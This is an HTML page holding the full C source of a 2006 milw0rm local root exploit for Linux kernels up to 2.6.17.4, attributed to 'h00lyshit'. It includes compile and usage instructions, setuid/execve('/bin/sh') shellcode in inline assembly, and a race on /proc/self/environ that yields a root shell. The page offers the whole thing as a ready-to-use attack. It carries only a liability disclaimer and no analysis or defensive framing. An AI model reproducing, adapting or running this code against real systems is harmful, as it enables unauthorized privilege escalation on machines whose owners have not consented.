<html><head><title>Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit</title></head><pre>/*
** Author: h00lyshit
** Vulnerable: Linux 2.6 ALL
** Type of Vulnerability: Local Race
** Tested On : various distros
** Vendor Status: unknown
**
** Disclaimer:
** In no event shall the author be liable for any damages
** whatsoever arising out of or in connection with the use
** or spread of this information.
** Any use of this information is at the user's own risk.
**
** Compile:
** gcc h00lyshit.c -o h00lyshit
**
** Usage:
** h00lyshit &lt;very big file on the disk&gt;
**
** Example:
** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
**
** if y0u dont have one, make big file (~100MB) in /tmp with dd
** and try to junk the cache e.g. cat /usr/lib/* &gt;/dev/null
**
*/

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;errno.h&gt;
#include &lt;sched.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/prctl.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;linux/a.out.h&gt;
#include &lt;asm/unistd.h&gt;


static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;


/*	h00lyshit shell code		*/
__asm__ (&quot;	__excode:	call	1f			\n&quot;
	 &quot;	1:		mov	$23, %eax		\n&quot;
	 &quot;			xor	%ebx, %ebx		\n&quot;
	 &quot;			int	$0x80			\n&quot;
	 &quot;			pop	%eax			\n&quot;
	 &quot;			mov	$cmd-1b, %ebx		\n&quot;
	 &quot;			add	%eax, %ebx		\n&quot;
	 &quot;			mov	$arg-1b, %ecx		\n&quot;
	 &quot;			add	%eax, %ecx		\n&quot;
	 &quot;			mov	%ebx, (%ecx)		\n&quot;
	 &quot;			mov	%ecx, %edx		\n&quot;
	 &quot;			add	$4, %edx		\n&quot;
	 &quot;			mov	$11, %eax		\n&quot;
	 &quot;			int	$0x80			\n&quot;
	 &quot;			mov	$1, %eax		\n&quot;
	 &quot;			int	$0x80			\n&quot;
	 &quot;	arg:		.quad	0x00, 0x00		\n&quot;
	 &quot;	cmd:		.string		\&quot;/bin/sh\&quot;	\n&quot;
	 &quot;	__excode_e:	nop				\n&quot;
	 &quot;	.global		__excode			\n&quot;
	 &quot;	.global		__excode_e			\n&quot;
	);



extern void (*__excode) (void);
extern void (*__excode_e) (void);


void
error (char *err)
{
  perror (err);
  fflush (stderr);
  exit (1);
}


/*	exploit this shit	*/
void
exploit (char *file)
{
  int i, fd;
  void *p;
  struct stat st;

  printf (&quot;\ntrying to exploit %s\n\n&quot;, file);
  fflush (stdout);
  chmod (&quot;/proc/self/environ&quot;, 04755);
  c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
  memset ((void *) c, 0, 4096);

  /*      slow down machine       */
  fd = open (file, O_RDONLY);
  fstat (fd, &amp;st);
  p =
    (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
  if (p == MAP_FAILED)
    error (&quot;mmap&quot;);
  prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
  sprintf (t, &quot;/proc/%d/environ&quot;, getpid ());
  sched_yield ();
  execve (NULL, a, e);
  madvise (0, 0, MADV_WILLNEED);
  i = fork ();

  /*      give it a try           */
  if (i)
    {		    
      (*c)++;
      !madvise (p, st.st_size, MADV_WILLNEED) ? : error (&quot;madvise&quot;);
      prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
      sched_yield ();	
    }
  else
    {
	    nice(10);
	    while (!(*c));
		sched_yield ();
      execve (t, a, e);
      error (&quot;failed&quot;);
    }

  waitpid (i, NULL, 0);
  exit (0);
}


int
main (int ac, char **av)
{
  int i, j, k, s;
  char *p;

  memset (e, 0, sizeof (e));
  memset (a, 0, sizeof (a));
  a[0] = strdup (av[0]);
  a[1] = strdup (av[0]);
  a[2] = strdup (av[1]);

  if (ac &lt; 2)
    error (&quot;usage: binary &lt;big file name&gt;&quot;);
  if (ac &gt; 2)
    exploit (av[2]);
  printf (&quot;\npreparing&quot;);
  fflush (stdout);

  /*      make setuid a.out       */
  memset (&amp;ex, 0, sizeof (ex));
  N_SET_MAGIC (ex, NMAGIC);
  N_SET_MACHTYPE (ex, M_386);
  s = ((unsigned) &amp;__excode_e) - (unsigned) &amp;__excode;
  ex.a_text = s;
  ex.a_syms = -(s + sizeof (ex));

  memset (b, 0, sizeof (b));
  memcpy (b, &amp;ex, sizeof (ex));
  memcpy (b + sizeof (ex), &amp;__excode, s);

  /*      make environment        */
  p = b;
  s += sizeof (ex);
  j = 0;
  for (i = k = 0; i &lt; s; i++)
    {
      if (!p[i])
	{
	  e[j++] = &amp;p[k];
	  k = i + 1;
	}
    }

  /*      reexec                  */
  getcwd (t, sizeof (t));
  strcat (t, &quot;/&quot;);
  strcat (t, av[0]);
  execve (t, a, e);
  error (&quot;execve&quot;);
  return 0;
}

// milw0rm.com [2006-07-15]</pre></html>